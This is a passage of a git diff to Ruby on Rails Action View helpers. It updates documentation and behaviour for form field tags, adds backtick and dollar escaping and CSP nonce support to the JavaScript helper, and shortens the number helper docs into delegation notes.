+      #   # => <input class="special_input" id="datetime" name="datetime" type="datetime-local" />
+      #
+      #   datetime_field_tag 'datetime', '2014-01-01T01:01', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="datetime" name="datetime" type="datetime-local" value="2014-01-01T01:01" />
       def datetime_field_tag(name, value = nil, options = {})
         text_field_tag(name, value, options.merge(type: "datetime-local"))
       end
@@ -688,22 +805,54 @@ def datetime_field_tag(name, value = nil, options = {})
 
       # Creates a text field of type "month".
       #
-      # === Options
+      # ==== Options
+      #
+      # Supports the same options as #text_field_tag. Additionally, supports:
+      #
       # * <tt>:min</tt> - The minimum acceptable value.
       # * <tt>:max</tt> - The maximum acceptable value.
       # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #
+      #   month_field_tag 'name'
+      #   # => <input id="name" name="name" type="month" />
+      #
+      #   month_field_tag 'month', '2014-01'
+      #   # => <input id="month" name="month" type="month" value="2014-01" />
+      #
+      #   month_field_tag 'month', nil, class: 'special_input'
+      #   # => <input class="special_input" id="month" name="month" type="month" />
+      #
+      #   month_field_tag 'month', '2014-01', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="month" name="month" type="month" value="2014-01" />
       def month_field_tag(name, value = nil, options = {})
         text_field_tag(name, value, options.merge(type: :month))
       end
 
       # Creates a text field of type "week".
       #
-      # === Options
+      # ==== Options
+      #
+      # Supports the same options as #text_field_tag. Additionally, supports:
+      #
       # * <tt>:min</tt> - The minimum acceptable value.
       # * <tt>:max</tt> - The maximum acceptable value.
       # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #
+      #   week_field_tag 'name'
+      #   # => <input id="name" name="name" type="week" />
+      #
+      #   week_field_tag 'week', '2014-W01'
+      #   # => <input id="week" name="week" type="week" value="2014-W01" />
+      #
+      #   week_field_tag 'week', nil, class: 'special_input'
+      #   # => <input class="special_input" id="week" name="week" type="week" />
+      #
+      #   week_field_tag 'week', '2014-W01', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="week" name="week" type="week" value="2014-W01" />
       def week_field_tag(name, value = nil, options = {})
         text_field_tag(name, value, options.merge(type: :week))
       end
@@ -711,9 +860,11 @@ def week_field_tag(name, value = nil, options = {})
       # Creates a text field of type "url".
       #
       # ==== Options
-      # * Accepts the same options as text_field_tag.
+      #
+      # Supports the same options as #text_field_tag.
       #
       # ==== Examples
+      #
       #   url_field_tag 'name'
       #   # => <input id="name" name="name" type="url" />
       #
@@ -732,9 +883,11 @@ def url_field_tag(name, value = nil, options = {})
       # Creates a text field of type "email".
       #
       # ==== Options
-      # * Accepts the same options as text_field_tag.
+      #
+      # Supports the same options as #text_field_tag.
       #
       # ==== Examples
+      #
       #   email_field_tag 'name'
       #   # => <input id="name" name="name" type="email" />
       #
@@ -753,15 +906,18 @@ def email_field_tag(name, value = nil, options = {})
       # Creates a number field.
       #
       # ==== Options
+      #
+      # Supports the same options as #text_field_tag. Additionally, supports:
+      #
       # * <tt>:min</tt> - The minimum acceptable value.
       # * <tt>:max</tt> - The maximum acceptable value.
       # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
       #   <tt>:max</tt> values.
       # * <tt>:within</tt> - Same as <tt>:in</tt>.
       # * <tt>:step</tt> - The acceptable value granularity.
-      # * Otherwise accepts the same options as text_field_tag.
       #
       # ==== Examples
+      #
       #   number_field_tag 'quantity'
       #   # => <input id="quantity" name="quantity" type="number" />
       #
@@ -803,18 +959,35 @@ def number_field_tag(name, value = nil, options = {})
       # Creates a range form element.
       #
       # ==== Options
-      # * Accepts the same options as number_field_tag.
+      #
+      # Supports the same options as #number_field_tag.
+      #
+      # ==== Examples
+      #
+      #   range_field_tag 'quantity', '1'
+      #   # => <input id="quantity" name="quantity" type="range" value="1" />
+      #
+      #   range_field_tag 'quantity', in: 1...10
+      #   # => <input id="quantity" name="quantity" min="1" max="9" type="range" />
+      #
+      #   range_field_tag 'quantity', min: 1, max: 10, step: 2
+      #   # => <input id="quantity" name="quantity" min="1" max="10" step="2" type="range"
       def range_field_tag(name, value = nil, options = {})
         number_field_tag(name, value, options.merge(type: :range))
       end
 
-      # Creates the hidden UTF8 enforcer tag. Override this method in a helper
+      # Creates the hidden UTF-8 enforcer tag. Override this method in a helper
       # to customize the tag.
       def utf8_enforcer_tag
-        # Use raw HTML to ensure the value is written as an HTML entity; it
-        # needs to be the right character regardless of which encoding the
-        # browser infers.
-        '<input name="utf8" type="hidden" value="&#x2713;" />'.html_safe
+        options = {
+          type: "hidden",
+          name: "utf8",
+          value: "&#x2713;".html_safe
+        }
+
+        options[:autocomplete] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+
+        tag(:input, options)
       end
 
       private
@@ -823,13 +996,17 @@ def html_options_for_form(url_for_options, options)
             html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
             # The following URL is unescaped, this is just a hash of options, and it is the
             # responsibility of the caller to escape all the values.
-            html_options["action"]  = url_for(url_for_options)
+            if url_for_options == false || html_options["action"] == false
+              html_options.delete("action")
+            else
+              html_options["action"] = url_for(url_for_options)
+            end
             html_options["accept-charset"] = "UTF-8"
 
             html_options["data-remote"] = true if html_options.delete("remote")
 
             if html_options["data-remote"] &&
-               !embed_authenticity_token_in_remote_forms &&
+               embed_authenticity_token_in_remote_forms == false &&
                html_options["authenticity_token"].blank?
               # The authenticity token is taken from the meta tag in this case
               html_options["authenticity_token"] = false
@@ -864,7 +1041,7 @@ def extra_tags_for_form(html_options)
               })
             end
 
-          if html_options.delete("enforce_utf8") { true }
+          if html_options.delete("enforce_utf8") { default_enforce_utf8 }
             utf8_enforcer_tag + method_tag
           else
             method_tag
@@ -873,13 +1050,14 @@ def extra_tags_for_form(html_options)
 
         def form_tag_html(html_options)
           extra_tags = extra_tags_for_form(html_options)
-          tag(:form, html_options, true) + extra_tags
+          html = tag(:form, html_options, true) + extra_tags
+          prevent_content_exfiltration(html)
         end
 
         def form_tag_with_body(html_options, content)
-          output = form_tag_html(html_options)
-          output << content
-          output.safe_concat("</form>")
+          extra_tags = extra_tags_for_form(html_options)
+          html = content_tag(:form, safe_join([extra_tags, content]), html_options)
+          prevent_content_exfiltration(html)
         end
 
         # see http://www.w3.org/TR/html4/types.html#type-name
@@ -888,20 +1066,31 @@ def sanitize_to_id(name)
         end
 
         def set_default_disable_with(value, tag_options)
-          return unless ActionView::Base.automatically_disable_submit_tag
-          data = tag_options["data"]
+          data = tag_options.fetch("data", {})
 
-          unless tag_options["data-disable-with"] == false || (data && data["disable_with"] == false)
+          if tag_options["data-disable-with"] == false || data["disable_with"] == false
+            data.delete("disable_with")
+          elsif ActionView::Base.automatically_disable_submit_tag
             disable_with_text = tag_options["data-disable-with"]
-            disable_with_text ||= data["disable_with"] if data
+            disable_with_text ||= data["disable_with"]
             disable_with_text ||= value.to_s.clone
             tag_options.deep_merge!("data" => { "disable_with" => disable_with_text })
-          else
-            data.delete("disable_with") if data
           end
 
           tag_options.delete("data-disable-with")
         end
+
+        def convert_direct_upload_option_to_url(options)
+          return options unless options.delete(:direct_upload)
+
+          if respond_to?(:rails_direct_uploads_url)
+            options["data-direct-upload-url"] = rails_direct_uploads_url
+          elsif respond_to?(:main_app) && main_app.respond_to?(:rails_direct_uploads_url)
+            options["data-direct-upload-url"] = main_app.rails_direct_uploads_url
+          end
+
+          options
+        end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/javascript_helper.rb b/actionview/lib/action_view/helpers/javascript_helper.rb
index 22e1e74ad651d..47bffba8f938a 100644
--- a/actionview/lib/action_view/helpers/javascript_helper.rb
+++ b/actionview/lib/action_view/helpers/javascript_helper.rb
@@ -1,20 +1,25 @@
-require "action_view/helpers/tag_helper"
+# frozen_string_literal: true
 
 module ActionView
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View JavaScript \Helpers
     module JavaScriptHelper
+      mattr_accessor :auto_include_nonce
+
       JS_ESCAPE_MAP = {
-        '\\'    => '\\\\',
+        "\\"    => "\\\\",
         "</"    => '<\/',
         "\r\n"  => '\n',
         "\n"    => '\n',
         "\r"    => '\n',
         '"'     => '\\"',
-        "'"     => "\\'"
+        "'"     => "\\'",
+        "`"     => "\\`",
+        "$"     => "\\$"
       }
 
-      JS_ESCAPE_MAP["\342\200\250".force_encoding(Encoding::UTF_8).encode!] = "&#x2028;"
-      JS_ESCAPE_MAP["\342\200\251".force_encoding(Encoding::UTF_8).encode!] = "&#x2029;"
+      JS_ESCAPE_MAP[(+"\342\200\250").force_encoding(Encoding::UTF_8).encode!] = "&#x2028;"
+      JS_ESCAPE_MAP[(+"\342\200\251").force_encoding(Encoding::UTF_8).encode!] = "&#x2029;"
 
       # Escapes carriage returns and single and double quotes for JavaScript segments.
       #
@@ -23,12 +28,13 @@ module JavaScriptHelper
       #
       #   $('some_element').replaceWith('<%= j render 'some/element_template' %>');
       def escape_javascript(javascript)
-        if javascript
-          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) { |match| JS_ESCAPE_MAP[match] }
-          javascript.html_safe? ? result.html_safe : result
+        javascript = javascript.to_s
+        if javascript.empty?
+          result = ""
         else
-          ""
+          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"']|[`]|[$])/u, JS_ESCAPE_MAP)
         end
+        javascript.html_safe? ? result.html_safe : result
       end
 
       alias_method :j, :escape_javascript
@@ -46,10 +52,10 @@ def escape_javascript(javascript)
       # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
       # tag.
       #
-      #   javascript_tag "alert('All is good')", defer: 'defer'
+      #   javascript_tag "alert('All is good')", type: 'application/javascript'
       #
       # Returns:
-      #   <script defer="defer">
+      #   <script type="application/javascript">
       #   //<![CDATA[
       #   alert('All is good')
       #   //]]>
@@ -58,7 +64,14 @@ def escape_javascript(javascript)
       # Instead of passing the content as an argument, you can also use a block
       # in which case, you pass your +html_options+ as the first parameter.
       #
-      #   <%= javascript_tag defer: 'defer' do -%>
+      #   <%= javascript_tag type: 'application/javascript' do -%>
+      #     alert('All is good')
+      #   <% end -%>
+      #
+      # If you have a content security policy enabled then you can add an automatic
+      # nonce value by passing <tt>nonce: true</tt> as part of +html_options+. Example:
+      #
+      #   <%= javascript_tag nonce: true do -%>
       #     alert('All is good')
       #   <% end -%>
       def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
@@ -70,10 +83,16 @@ def javascript_tag(content_or_options_with_block = nil, html_options = {}, &bloc
             content_or_options_with_block
           end
 
-        content_tag("script".freeze, javascript_cdata_section(content), html_options)
+        if html_options[:nonce] == true || (!html_options.key?(:nonce) && auto_include_nonce)
+          html_options[:nonce] = content_security_policy_nonce
+        elsif html_options[:nonce] == false
+          html_options.delete(:nonce)
+        end
+
+        content_tag("script", javascript_cdata_section(content), html_options)
       end
 
-      def javascript_cdata_section(content) #:nodoc:
+      def javascript_cdata_section(content) # :nodoc:
         "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
       end
     end
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
index b6bc5f4f6fc7b..9350a62d6ed37 100644
--- a/actionview/lib/action_view/helpers/number_helper.rb
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -1,19 +1,22 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/keys"
 require "active_support/core_ext/string/output_safety"
 require "active_support/number_helper"
 
 module ActionView
-  # = Action View Number Helpers
-  module Helpers #:nodoc:
+  module Helpers # :nodoc:
+    # = Action View Number \Helpers
+    #
     # Provides methods for converting numbers into formatted strings.
     # Methods are provided for phone numbers, currency, percentage,
-    # precision, positional notation, file size and pretty printing.
+    # precision, positional notation, file size, and pretty printing.
     #
     # Most methods expect a +number+ argument, and will return it
     # unchanged if can't be converted into a valid number.
     module NumberHelper
       # Raised when argument +number+ param given to the helpers is invalid and
-      # the option :raise is set to  +true+.
+      # the option +:raise+ is set to  +true+.
       class InvalidNumberError < StandardError
         attr_accessor :number
         def initialize(number)
@@ -21,42 +24,16 @@ def initialize(number)
         end
       end
 
-      # Formats a +number+ into a phone number (US by default e.g., (555)
-      # 123-9876). You can customize the format in the +options+ hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:area_code</tt> - Adds parentheses around the area code.
-      # * <tt>:delimiter</tt> - Specifies the delimiter to use
-      #   (defaults to "-").
-      # * <tt>:extension</tt> - Specifies an extension to add to the
-      #   end of the generated number.
-      # * <tt>:country_code</tt> - Sets the country code for the phone
-      #   number.
-      # * <tt>:pattern</tt> - Specifies how the number is divided into three
-      #   groups with the custom regexp to override the default format.
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
+      # Delegates to ActiveSupport::NumberHelper#number_to_phone.
       #
-      # ==== Examples
+      #   number_to_phone("1234567890")         # => "123-456-7890"
       #
-      #   number_to_phone(5551234)                                           # => 555-1234
-      #   number_to_phone("5551234")                                         # => 555-1234
-      #   number_to_phone(1235551234)                                        # => 123-555-1234
-      #   number_to_phone(1235551234, area_code: true)                       # => (123) 555-1234
-      #   number_to_phone(1235551234, delimiter: " ")                        # => 123 555 1234
-      #   number_to_phone(1235551234, area_code: true, extension: 555)       # => (123) 555-1234 x 555
-      #   number_to_phone(1235551234, country_code: 1)                       # => +1-123-555-1234
-      #   number_to_phone("123a456")                                         # => 123a456
-      #   number_to_phone("1234a567", raise: true)                           # => InvalidNumberError
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
-      #   # => +1.123.555.1234 x 1343
+      #   number_to_phone("12x34")              # => "12x34"
+      #   number_to_phone("12x34", raise: true) # => InvalidNumberError
       #
-      #   number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true)
-      #   # => "(755) 6123-4567"
-      #   number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/))
-      #   # => "133-1234-5678"
       def number_to_phone(number, options = {})
         return unless number
         options = options.symbolize_keys
@@ -65,338 +42,91 @@ def number_to_phone(number, options = {})
         ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
       end
 
-      # Formats a +number+ into a currency string (e.g., $13.65). You
-      # can customize the format in the +options+ hash.
-      #
-      # The currency unit and number formatting of the current locale will be used
-      # unless otherwise specified in the provided options. No currency conversion
-      # is performed. If the user is given a way to change their locale, they will
-      # also be able to change the relative value of the currency displayed with
-      # this helper. If your application will ever support multiple locales, you
-      # may want to specify a constant <tt>:locale</tt> option or consider
-      # using a library capable of currency conversion.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the level of precision (defaults
-      #   to 2).
-      # * <tt>:unit</tt> - Sets the denomination of the currency
-      #   (defaults to "$").
-      # * <tt>:separator</tt> - Sets the separator between the units
-      #   (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to ",").
-      # * <tt>:format</tt> - Sets the format for non-negative numbers
-      #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
-      #   currency, and <tt>%n</tt> for the number.
-      # * <tt>:negative_format</tt> - Sets the format for negative
-      #   numbers (defaults to prepending a hyphen to the formatted
-      #   number given by <tt>:format</tt>).  Accepts the same fields
-      #   than <tt>:format</tt>, except <tt>%n</tt> is here the
-      #   absolute value of the number.
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
+      # Delegates to ActiveSupport::NumberHelper#number_to_currency.
       #
-      # ==== Examples
+      #   number_to_currency("1234")               # => "$1234.00"
       #
-      #   number_to_currency(1234567890.50)                    # => $1,234,567,890.50
-      #   number_to_currency(1234567890.506)                   # => $1,234,567,890.51
-      #   number_to_currency(1234567890.506, precision: 3)     # => $1,234,567,890.506
-      #   number_to_currency(1234567890.506, locale: :fr)      # => 1 234 567 890,51 €
-      #   number_to_currency("123a456")                        # => $123a456
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      #   number_to_currency("123a456", raise: true)           # => InvalidNumberError
+      #   number_to_currency("12x34")              # => "$12x34"
+      #   number_to_currency("12x34", raise: true) # => InvalidNumberError
       #
-      #   number_to_currency(-1234567890.50, negative_format: "(%u%n)")
-      #   # => ($1,234,567,890.50)
-      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
-      #   # => R$1234567890,50
-      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
-      #   # => 1234567890,50 R$
       def number_to_currency(number, options = {})
         delegate_number_helper_method(:number_to_currency, number, options)
       end
 
-      # Formats a +number+ as a percentage string (e.g., 65%). You can
-      # customize the format in the +options+ hash.
+      # Delegates to ActiveSupport::NumberHelper#number_to_percentage.
       #
-      # ==== Options
+      #   number_to_percentage("99")               # => "99.000%"
       #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the number
-      #   of significant_digits. If +false+, the number of fractional
-      #   digits (defaults to +false+).
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +false+).
-      # * <tt>:format</tt> - Specifies the format of the percentage
-      #   string The number field is <tt>%n</tt> (defaults to "%n%").
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      # ==== Examples
+      #   number_to_percentage("99x")              # => "99x%"
+      #   number_to_percentage("99x", raise: true) # => InvalidNumberError
       #
-      #   number_to_percentage(100)                                        # => 100.000%
-      #   number_to_percentage("98")                                       # => 98.000%
-      #   number_to_percentage(100, precision: 0)                          # => 100%
-      #   number_to_percentage(1000, delimiter: '.', separator: ',')       # => 1.000,000%
-      #   number_to_percentage(302.24398923423, precision: 5)              # => 302.24399%
-      #   number_to_percentage(1000, locale: :fr)                          # => 1 000,000%
-      #   number_to_percentage("98a")                                      # => 98a%
-      #   number_to_percentage(100, format: "%n  %")                       # => 100.000  %
-      #
-      #   number_to_percentage("98a", raise: true)                         # => InvalidNumberError
       def number_to_percentage(number, options = {})
         delegate_number_helper_method(:number_to_percentage, number, options)
       end
 
-      # Formats a +number+ with grouped thousands using +delimiter+
-      # (e.g., 12,324). You can customize the format in the +options+
-      # hash.
-      #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to ",").
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter_pattern</tt> - Sets a custom regular expression used for
-      #   deriving the placement of delimiter. Helpful when using currency formats
-      #   like INR.
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
+      # Delegates to ActiveSupport::NumberHelper#number_to_delimited.
       #
-      # ==== Examples
+      #   number_with_delimiter("1234")               # => "1,234"
       #
-      #   number_with_delimiter(12345678)                        # => 12,345,678
-      #   number_with_delimiter("123456")                        # => 123,456
-      #   number_with_delimiter(12345678.05)                     # => 12,345,678.05
-      #   number_with_delimiter(12345678, delimiter: ".")        # => 12.345.678
-      #   number_with_delimiter(12345678, delimiter: ",")        # => 12,345,678
-      #   number_with_delimiter(12345678.05, separator: " ")     # => 12,345,678 05
-      #   number_with_delimiter(12345678.05, locale: :fr)        # => 12 345 678,05
-      #   number_with_delimiter("112a")                          # => 112a
-      #   number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
-      #   # => 98 765 432,98
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      #   number_with_delimiter("123456.78",
-      #     delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)    # => "1,23,456.78"
+      #   number_with_delimiter("12x34")              # => "12x34"
+      #   number_with_delimiter("12x34", raise: true) # => InvalidNumberError
       #
-      #  number_with_delimiter("112a", raise: true)              # => raise InvalidNumberError
       def number_with_delimiter(number, options = {})
         delegate_number_helper_method(:number_to_delimited, number, options)
       end
 
-      # Formats a +number+ with the specified level of
-      # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
-      # +:significant+ is +false+, and 5 if +:significant+ is +true+).
-      # You can customize the format in the +options+ hash.
+      # Delegates to ActiveSupport::NumberHelper#number_to_rounded.
       #
-      # ==== Options
+      #   number_with_precision("1234")               # => "1234.000"
       #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the number
-      #   of significant_digits. If +false+, the number of fractional
-      #   digits (defaults to +false+).
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +false+).
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      # ==== Examples
+      #   number_with_precision("12x34")              # => "12x34"
+      #   number_with_precision("12x34", raise: true) # => InvalidNumberError
       #
-      #   number_with_precision(111.2345)                                         # => 111.235
-      #   number_with_precision(111.2345, precision: 2)                           # => 111.23
-      #   number_with_precision(13, precision: 5)                                 # => 13.00000
-      #   number_with_precision(389.32314, precision: 0)                          # => 389
-      #   number_with_precision(111.2345, significant: true)                      # => 111
-      #   number_with_precision(111.2345, precision: 1, significant: true)        # => 100
-      #   number_with_precision(13, precision: 5, significant: true)              # => 13.000
-      #   number_with_precision(111.234, locale: :fr)                             # => 111,234
-      #
-      #   number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
-      #   # => 13
-      #
-      #   number_with_precision(389.32314, precision: 4, significant: true)       # => 389.3
-      #   number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
-      #   # => 1.111,23
       def number_with_precision(number, options = {})
         delegate_number_helper_method(:number_to_rounded, number, options)
       end
 
-      # Formats the bytes in +number+ into a more understandable
-      # representation (e.g., giving it 1500 yields 1.5 KB). This
-      # method is useful for reporting file sizes to users. You can
-      # customize the format in the +options+ hash.
-      #
-      # See <tt>number_to_human</tt> if you want to pretty-print a
-      # generic number.
+      # Delegates to ActiveSupport::NumberHelper#number_to_human_size.
       #
-      # ==== Options
+      #   number_to_human_size("1234")               # => "1.21 KB"
       #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the number
-      #   of significant_digits. If +false+, the number of fractional
-      #   digits (defaults to +true+)
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +true+)
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      # ==== Examples
+      #   number_to_human_size("12x34")              # => "12x34"
+      #   number_to_human_size("12x34", raise: true) # => InvalidNumberError
       #
-      #   number_to_human_size(123)                                          # => 123 Bytes
-      #   number_to_human_size(1234)                                         # => 1.21 KB
-      #   number_to_human_size(12345)                                        # => 12.1 KB
-      #   number_to_human_size(1234567)                                      # => 1.18 MB
-      #   number_to_human_size(1234567890)                                   # => 1.15 GB
-      #   number_to_human_size(1234567890123)                                # => 1.12 TB
-      #   number_to_human_size(1234567890123456)                             # => 1.1 PB
-      #   number_to_human_size(1234567890123456789)                          # => 1.07 EB
-      #   number_to_human_size(1234567, precision: 2)                        # => 1.2 MB
-      #   number_to_human_size(483989, precision: 2)                         # => 470 KB
-      #   number_to_human_size(1234567, precision: 2, separator: ',')        # => 1,2 MB
-      #   number_to_human_size(1234567890123, precision: 5)                  # => "1.1228 TB"
-      #   number_to_human_size(524288000, precision: 5)                      # => "500 MB"
       def number_to_human_size(number, options = {})
         delegate_number_helper_method(:number_to_human_size, number, options)
       end
 
-      # Pretty prints (formats and approximates) a number in a way it
-      # is more readable by humans (eg.: 1200000000 becomes "1.2
-      # Billion"). This is useful for numbers that can get very large
-      # (and too hard to read).
+      # Delegates to ActiveSupport::NumberHelper#number_to_human.
       #
-      # See <tt>number_to_human_size</tt> if you want to print a file
-      # size.
+      #   number_to_human("1234")               # => "1.23 Thousand"
       #
-      # You can also define your own unit-quantifier names if you want
-      # to use other decimal units (eg.: 1500 becomes "1.5
-      # kilometers", 0.150 becomes "150 milliliters", etc). You may
-      # define a wide range of unit quantifiers, even fractional ones
-      # (centi, deci, mili, etc).
+      # Additionally, supports a +:raise+ option that will cause
+      # InvalidNumberError to be raised if +number+ is not a valid number:
       #
-      # ==== Options
-      #
-      # * <tt>:locale</tt> - Sets the locale to be used for formatting
-      #   (defaults to current locale).
-      # * <tt>:precision</tt> - Sets the precision of the number
-      #   (defaults to 3).
-      # * <tt>:significant</tt> - If +true+, precision will be the number
-      #   of significant_digits. If +false+, the number of fractional
-      #   digits (defaults to +true+)
-      # * <tt>:separator</tt> - Sets the separator between the
-      #   fractional and integer digits (defaults to ".").
-      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-      #   to "").
-      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-      #   insignificant zeros after the decimal separator (defaults to
-      #   +true+)
-      # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
-      #   string containing an i18n scope where to find this hash. It
-      #   might have the following keys:
-      #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
-      #     <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
-      #     <tt>:billion</tt>, <tt>:trillion</tt>,
-      #     <tt>:quadrillion</tt>
-      #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
-      #     <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
-      #     <tt>:pico</tt>, <tt>:femto</tt>
-      # * <tt>:format</tt> - Sets the format of the output string
-      #   (defaults to "%n %u"). The field types are:
-      #   * %u - The quantifier (ex.: 'thousand')
-      #   * %n - The number
-      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
-      #   the argument is invalid.
-      #
-      # ==== Examples
-      #
-      #   number_to_human(123)                                          # => "123"
-      #   number_to_human(1234)                                         # => "1.23 Thousand"
-      #   number_to_human(12345)                                        # => "12.3 Thousand"
-      #   number_to_human(1234567)                                      # => "1.23 Million"
-      #   number_to_human(1234567890)                                   # => "1.23 Billion"
-      #   number_to_human(1234567890123)                                # => "1.23 Trillion"
-      #   number_to_human(1234567890123456)                             # => "1.23 Quadrillion"
-      #   number_to_human(1234567890123456789)                          # => "1230 Quadrillion"
-      #   number_to_human(489939, precision: 2)                         # => "490 Thousand"
-      #   number_to_human(489939, precision: 4)                         # => "489.9 Thousand"
-      #   number_to_human(1234567, precision: 4,
-      #                           significant: false)                   # => "1.2346 Million"
-      #   number_to_human(1234567, precision: 1,
-      #                           separator: ',',
-      #                           significant: false)                   # => "1,2 Million"
-      #
-      #   number_to_human(500000000, precision: 5)                      # => "500 Million"
-      #   number_to_human(12345012345, significant: false)              # => "12.345 Billion"
-      #
-      # Non-significant zeros after the decimal separator are stripped
-      # out by default (set <tt>:strip_insignificant_zeros</tt> to
-      # +false+ to change that):
-      #
-      # number_to_human(12.00001)                                       # => "12"
-      # number_to_human(12.00001, strip_insignificant_zeros: false)     # => "12.0"
-      #
-      # ==== Custom Unit Quantifiers
-      #
-      # You can also use your own custom unit quantifiers:
-      #  number_to_human(500000, units: {unit: "ml", thousand: "lt"})  # => "500 lt"
-      #
-      # If in your I18n locale you have:
-      #   distance:
-      #     centi:
-      #       one: "centimeter"
-      #       other: "centimeters"
-      #     unit:
-      #       one: "meter"
-      #       other: "meters"
-      #     thousand:
-      #       one: "kilometer"
-      #       other: "kilometers"
-      #     billion: "gazillion-distance"
-      #
-      # Then you could do:
-      #
-      #  number_to_human(543934, units: :distance)              # => "544 kilometers"
-      #  number_to_human(54393498, units: :distance)            # => "54400 kilometers"
-      #  number_to_human(54393498000, units: :distance)         # => "54.4 gazillion-distance"
-      #  number_to_human(343, units: :distance, precision: 1)   # => "300 meters"
-      #  number_to_human(1, units: :distance)                   # => "1 meter"
-      #  number_to_human(0.34, units: :distance)                # => "34 centimeters"
+      #   number_to_human("12x34")              # => "12x34"
+      #   number_to_human("12x34", raise: true) # => InvalidNumberError
       #
       def number_to_human(number, options = {})
         delegate_number_helper_method(:number_to_human, number, options)
       end
 
